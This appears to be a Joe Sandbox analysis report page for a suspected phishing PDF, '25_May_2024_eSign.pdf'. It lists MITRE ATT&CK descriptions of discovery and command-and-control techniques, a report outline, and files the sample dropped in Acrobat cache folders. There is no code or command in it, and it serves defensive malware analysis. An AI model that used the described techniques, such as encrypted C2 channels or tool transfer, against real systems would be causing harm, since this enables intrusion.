Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 25_May_2024_eSign.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\740d5b8c-cc1f-4a93-94ce-f78452bfeba8.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\800cdb10-a2d4-4d35-9dd5-f3647155a75a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6c8119.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240527173010Z-163.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Windows Analysis Report
25_May_2024_eSign.pdf